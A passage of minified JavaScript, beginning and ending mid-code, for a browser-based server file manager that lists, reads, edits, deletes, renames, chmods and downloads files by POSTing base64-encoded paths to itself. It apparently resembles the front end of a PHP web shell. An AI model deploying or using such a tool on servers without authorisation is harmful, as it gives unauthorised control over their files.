XskgksuHvn/qb18ZGhiMLi5cvC0UAIjeqJ2HgDhetBVXlgguYChPb79FYrFyZS9zXadOsHj0XjVsNAhgc3PTT119/fQiAxRijdquiuJ7nKb29vRu2b9v66gMbNog9FV8cyssl33yxD1rW8ppaU1mPlDSeWu9iy11lXMURNIFUWh+Lkl+pA0zsxPqB8evNCy+88POXXnppp67rdn9/f4Ex5pUN8DxPfeWVV4zHHntsg2EYqiRJsq7rCmOMPiQR4rvrurLruorneeLsOI5iWZbMOZdt21Zs25bpXqFQoDO9wyRJ8hRF4bquc0VRHFVVuaqqjizLXNM0h55JkuQwxhxJksR3OnPOHc/zuOd5Dh2dnZ2TL7744mVFUawVK1bkayJAF2TU5OSkNjMzo3POyVhlbm5OLRQK4pzL5ZR8Pq9kMhk6q/Q9nU7TdzmbzQqjs9ksASHDJcdxyg5SFMUjo0zTdDVNE2ACgYBjGAbds4PBIDcMg850zwmHw3Y4HHZ0XXdaWlpsAhUKhQpr1qzJM8bs+rW6eNfzPHbu3DlVlmU9m80aZCQZT0DIWAKQyWRkuibPZ7NZcpecy+Ukigb9njxPn9JeJ0WBPhR2AkBAKAKBQECcyVDTNMlwEZ1AIMDJcFVV87FYLN/f31/mfXV1rtd217SwxchIb7/9tpxKpWRVVdV0Oq3quq6lUimNaMM5l8j4ktc552Q4k2W5PD7nnGjkybIszpIkuQSCjJUkyaIPRYCMBmDfc889LmOMLzJmwY2mADQapAhSyNSpU6dYR0cHC4fDzDRNMX4ul/NSqZQXj8dFYj788MNkXDP/YWg49f8agIYz/R+98P8ewP8AimsFmmmOKV0AAAAASUVORK5CYII=",ini_icon="data:image/png;base64,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",sh_icon="data:image/png;base64,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";function list_dir(e){void 0===e&&(e=".");let t=document.querySelector(".inner table"),A=document.querySelector(".inner .loaderhold .loader");t.style.display="none",A.style.display="block";let n=new FormData;n.append("list_dir",btoa(e));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){var e=JSON.parse(this.response);if(void 0!==e.status||null==e.name||null==e.name||""==e.name)show_popup("Can not change dir!",3e3,"alert"),A.style.display="none",t.style.display="table",document.getElementById("curr_dir").value=working_dir;else{let n=document.querySelector(".inner table tbody"),i=n.querySelectorAll("tr");for(let e=0;e<i.length;e++)i[e].parentNode.removeChild(i[e]);for(let t=0;t<e.name.length;t++){let A=n.insertRow();A.setAttribute("id","tr_"+t);let i=A.insertCell(),o=A.insertCell(),s=A.insertCell(),l=A.insertCell(),a=A.insertCell(),r=A.insertCell();if(i.style.textAlign="center",o.style.textAlign="left","directory"==e.type[t])".."!=e.name[t]?(i.insertAdjacentHTML("afterbegin",'<i class="fas fa-folder" style="color:#d6b172;"></i>'),r.insertAdjacentHTML("afterbegin",'<div class="icons"><i onclick="download_folder_process(\''+e.path[t].replace(/\\/g,"/")+'\');" class="fas fa-file-archive" style="color:#CB3637" title="Download as zip"></i><i class="fas fa-edit" style="color:#ffcf41" title="Rename" onclick="rename_dir(\''+e.path[t].replace(/\\/g,"/")+"','"+A.getAttribute("id")+"','"+e.name[t]+'\');" style="color:#fff;"></i><i class="fas fa-trash-alt" title="Remove" onclick="remove_file(\''+e.path[t].replace(/\\/g,"/")+"','"+A.getAttribute("id")+'\');" style="color:#f55858;"></i></div>'),o.insertAdjacentHTML("afterbegin","<span onclick=\"list_dir('"+e.path[t].replace(/\\/g,"/")+"');\">"+e.name[t]+"</span>")):(i.insertAdjacentHTML("afterbegin",'<i class="fas fa-folder" style="color:#d6b172;"></i>'),r.insertAdjacentHTML("afterbegin",""),o.insertAdjacentHTML("afterbegin","<span onclick=\"list_dir('"+e.path[t].replace(/\\/g,"/")+'\');"><i class="fas fa-arrow-left"></i></span>'));else{let n=e.name[t].substring(e.name[t].lastIndexOf(".")+1).toLowerCase();"js"==n?i.insertAdjacentHTML("afterbegin",'<i class="fab fa-js" style="color:orange"></i>'):"sql"==n||"db"==n?i.insertAdjacentHTML("afterbegin",'<i class="fas fa-database"></i>'):"php"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+php_icon+'" />'):"py"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+python_icon+'" />'):"rb"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+ruby_icon+'" />'):"c"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+c_icon+'" />'):"cpp"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+cpp_icon+'" />'):"sh"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+sh_icon+'" />'):"pl"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+perl_icon+'" />'):"config"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+config_icon+'" />'):"ini"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+ini_icon+'" />'):"json"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+json_icon+'" />'):"xml"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+xml_icon+'" />'):"txt"==n?i.insertAdjacentHTML("afterbegin",'<i class="fas fa-file-alt"></i>'):"zip"==n||"rar"==n||"7z"==n||"tar"==n||"tar.gz"==n||"gz"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+zip_icon+'" />'):"css"==n?i.insertAdjacentHTML("afterbegin",'<i class="fab fa-css3-alt" style="color:#3D58E7"></i>'):"jpg"==n||"gif"==n||"png"==n||"jpeg"==n||"bmp"==n||"webp"==n||"svg"==n||"ico"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+image_icon+'" />'):"html"==n||"htm"==n||"shtml"==n?i.insertAdjacentHTML("afterbegin",'<i class="fab fa-html5" style="color:#EA682D"></i>'):"java"==n||"jar"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+java_icon+'" />'):"pdf"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+pdf_icon+'" />'):"doc"==n||"docx"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+word_icon+'" />'):"m4a"==n||"flac"==n||"mp3"==n||"wav"==n||"aac"==n||"wma"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+audio_icon+'" />'):"csv"==n||"xls"==n||"xlsx"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+excel_icon+'" />'):"potx"==n||"ppsx"==n||"pptx"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+powerpoint_icon+'" />'):"mp4"==n||"avi"==n||"mov"==n||"wmv"==n||"flv"==n||"avchd"==n||"mkv"==n||"3gp"==n?i.insertAdjacentHTML("afterbegin",'<img style="width:17px;height:17px;" src="'+video_icon+'" />'):i.insertAdjacentHTML("afterbegin",'<i class="fas fa-file"></i>'),r.insertAdjacentHTML("afterbegin",'<div class="icons"><i class="fas fa-edit" style="color:#ffcf41" title="Edit" onclick="edit_file(\''+e.path[t].replace(/\\/g,"/")+"','"+A.getAttribute("id")+'\');" style="color:#fff;"></i><i class="fas fa-trash-alt" title="Remove" onclick="remove_file(\''+e.path[t].replace(/\\/g,"/")+"','"+A.getAttribute("id")+'\');" style="color:#f55858;"></i><i class="fas fa-file-download" title="Download" onclick="download_file(\''+e.path[t].replace(/\\/g,"/")+'\');" style="color:#fff"></i></div>'),o.insertAdjacentHTML("afterbegin",'<span class="toggle" onclick="edit_file(\''+e.path[t].replace(/\\/g,"/")+"','"+A.getAttribute("id")+"');\">"+e.name[t]+"</span>")}s.innerText=e.size[t],l.innerText=e.modify[t],a.insertAdjacentHTML("afterbegin",'<span class="toggle" onclick="set_chmod(\''+e.path[t].replace(/\\/g,"/")+"','"+e.perm_num[t]+"');\">"+e.perms[t]+"</span>")}A.style.display="none",t.style.display="table",document.getElementById("curr_dir").value=e.current_dir,document.getElementById("read_file").value=e.current_dir,working_dir=e.current_dir;let o=separate_path(),s="";for(let e=0;e<o[0].length;e++){let t=o[1][e];"/"==o[0][e]?s+="<strong style='cursor:pointer;font-size:16px;' onclick='list_dir(\""+t+"\")'>"+o[0][e]+"</strong>":s+="<strong style='cursor:pointer;font-size:16px;' onclick='list_dir(\""+t+"\")'>"+o[0][e]+"/</strong>"}document.getElementById("path").innerHTML=s}}},i.send(n)}function remove_file(e,t){if(window.confirm("Do you really want to remove this item?")){let A=document.getElementById(t),n=new FormData;n.append("remove_file",btoa(e));let i=new XMLHttpRequest;i.open("post",basename(),!0),i.onload=function(){if(4==i.readyState){if("removed"!=JSON.parse(this.response).status)return show_popup("This file/folder cannot be removed,check permissions!",3e3,"alert"),!1;A.parentNode.removeChild(A),show_popup("Removed successfully!",2500,"success")}},i.send(n)}}function edit_file(e,t){empty_process_screen();let A=document.querySelector(".process-screen"),n=document.createElement("h3");n.innerHTML="Edit file "+e;let i=document.createElement("img");i.style.display="none",i.style.width="250px",i.style.height="250px";let o=document.createElement("audio");o.controls=!0,o.style.display="none",o.style.marginTop="10px";let s=document.createElement("video");s.controls=!0,s.width=350,s.height=350,s.style.display="none",s.style.marginTop="10px";let l=document.createElement("form");l.setAttribute("id","editfile"),l.setAttribute("onsubmit","event.preventDefault();");let a=document.createElement("input");a.value=e,a.type="text";let r=document.createElement("textarea");r.value="Loading...",r.disabled=!0;let c=document.createElement("button");c.innerHTML="EDIT";let d=new FormData;d.append("read_file",btoa(e));let p=new XMLHttpRequest;p.open("post",basename(),!0),p.onload=function(){if(4==p.readyState)try{let n=JSON.parse(this.response);if(void 0!==n.data_url)r.parentNode.removeChild(r),i.src=n.data_url,i.style.display="block",c.setAttribute("onclick",'edit_file_process("'+e+'","'+t+'","nosave");');else if(n.audio){r.parentNode.removeChild(r);let e=document.createElement("source");e.src=basename()+"?play_audio="+n.audio,o.appendChild(e),o.style.display="block"}else if(n.video){r.parentNode.removeChild(r);let e=document.createElement("source");e.src=basename()+"?play_video="+n.video,s.appendChild(e),s.style.display="block"}else c.setAttribute("onclick",'edit_file_process("'+e+'","'+t+'","save");'),null!=n.content?r.value=atob(n.content):(show_popup("Can not read this file!",3e3,"alert"),A.style.visibility="hidden",A.style.opacity="0",A.style.top="-50%");r.disabled=!1}catch(e){console.log(e)}},p.send(d),l.appendChild(a),l.appendChild(o),l.appendChild(s),l.appendChild(i),l.appendChild(r),l.appendChild(c),A.appendChild(n),A.appendChild(l),A.style.visibility="visible",A.style.opacity="1",A.style.top="50%"}function edit_file_process(e,t,A){let n=new FormData,i=document.getElementById("editfile"),o=i.querySelector("button");if("nosave"!==A){let e=i.querySelector("textarea").value;n.append("content",btoa(e))}let s=i.querySelector("input").value;n.append("edit_file",btoa(e)),s!==e&&n.append("rename",btoa(s)),o.disabled=!0,o.innerHTML="EDITING...";let l=new XMLHttpRequest;l.open("post",basename(),!0),l.onload=function(){if(4==l.readyState){try{let n=JSON.parse(this.response);if("failed"==n.status)show_popup("Can not edit this file!",3e3,"alert");else if("ok"==n.status)show_popup("File has edited successfully!",3e3,"success");else if(show_popup("File has edited successfully!",3e3,"success"),null!==t||""!==t){let i,o=document.getElementById(t).getElementsByTagName("td"),s=document.getElementById("screen");"nosave"!==A&&(i=s.querySelector("textarea").value),s.querySelector("button").disabled=!1,s.querySelector("button").innerHTML="EDIT",s.innerHTML=s.innerHTML.replace(new RegExp(escapeRegExp(n.old_name),"g"),n.status),s.querySelector("input").value=e.replace(new RegExp(escapeRegExp(n.old_name),"g"),n.status),"nosave"!==A&&(s.querySelector("textarea").value=i);for(let e=0;e<o.length;e++)o[e].innerHTML=o[e].innerHTML.replace(new RegExp(escapeRegExp(n.old_name),"g"),n.status)}}catch(e){console.log(e)}o.disabled=!1,o.innerHTML="EDIT"}},l.send(n)}function readfile(){edit_file(document.getElementById("read_file").value,"")}function download_file(e){window.location=basename()+"?download_file="+btoa(e)}function rename_dir(e,t,A){empty_process_screen();let n=document.querySelector(".process-screen"),i=document.createElement("h3");i.innerHTML="Rename directory "+e;let o=document.createElement("form");o.setAttribute("id","renamedir"),o.setAttribute("onsubmit","event.preventDefault();");let s=document.createElement("input"),l=document.createElement("button");l.innerHTML="RENAME",l.setAttribute("onclick",'rename_dir_process("'+e+'","'+t+'","'+A+'");'),s.type="text",s.value=A,o.appendChild(s),o.appendChild(l),n.appendChild(i),n.appendChild(o),n.style.visibility="visible",n.style.opacity="1",n.style.top="50%"}function rename_dir_process(e,t,A){let n=document.getElementById("renamedir"),i=n.querySelector("button"),o=n.querySelector("input");if(""==o.value)show_popup("Empty field!",3e3,"alert");else if(o.value==A)show_popup("Name is same with the old one!",3e3,"alert");else{i.disabled=!0,i.innerHTML="CHANGING...";let n=new FormData;n.append("new_name",o.value),n.append("rename_target",btoa(e)),n.append("old_name",A);let s=new XMLHttpRequest;s.open("post",basename(),!0),s.onload=function(){if(4==s.readyState){if("failed"==JSON.parse(this.response).status)show_popup("Can not change the name!",3e3,"alert"),o.value=A;else{show_popup("Name change applied successfully!",3e3,"success");let e=document.getElementById(t).getElementsByTagName("td"),n=document.getElementById("screen");n.innerHTML=n.innerHTML.replace(new RegExp(escapeRegExp(A),"g"),o.value),n.querySelector("input").value=o.value;for(let t=0;t<e.length;t++)e[t].innerHTML=e[t].innerHTML.replace(new 